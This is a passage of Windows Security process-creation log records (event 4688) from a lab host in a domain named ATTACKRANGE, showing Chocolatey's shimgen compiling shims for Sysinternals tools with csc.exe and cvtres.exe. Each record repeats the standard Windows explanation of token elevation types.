	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x8bc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC3D7.tmp" "c:\ProgramData\chocolatey\bin\CSC4DC32BC0EFF3497FA2C0E660D084AF60.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246449
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb10
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x8bc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246448
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfcc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Desktops.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246447
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfcc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246446
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Desktops.exe" --output="C:\ProgramData\chocolatey\bin\Desktops.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Desktops.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246445
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe84
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x9ac
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC2FD.tmp" "c:\ProgramData\chocolatey\bin\CSC8C63BAB3D52443E3A792EF64B4EA7315.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246444
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x9ac
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246443
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\dbgview64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246442
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x42c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246441
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\dbgview64.exe" --output="C:\ProgramData\chocolatey\bin\dbgview64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\dbgview64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246440
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x64c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC212.tmp" "c:\ProgramData\chocolatey\bin\CSCDA2B508FED9D414A8C78B516A37B91DE.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246439
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x628
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x64c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246438
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x64c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe3c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Dbgview.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246437
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe3c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246436
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe3c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Dbgview.exe" --output="C:\ProgramData\chocolatey\bin\Dbgview.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Dbgview.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246435
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC128.tmp" "c:\ProgramData\chocolatey\bin\CSCF060E0AAF9394CED9A7EF57CD51F5F98.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246434
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246433
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe38
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
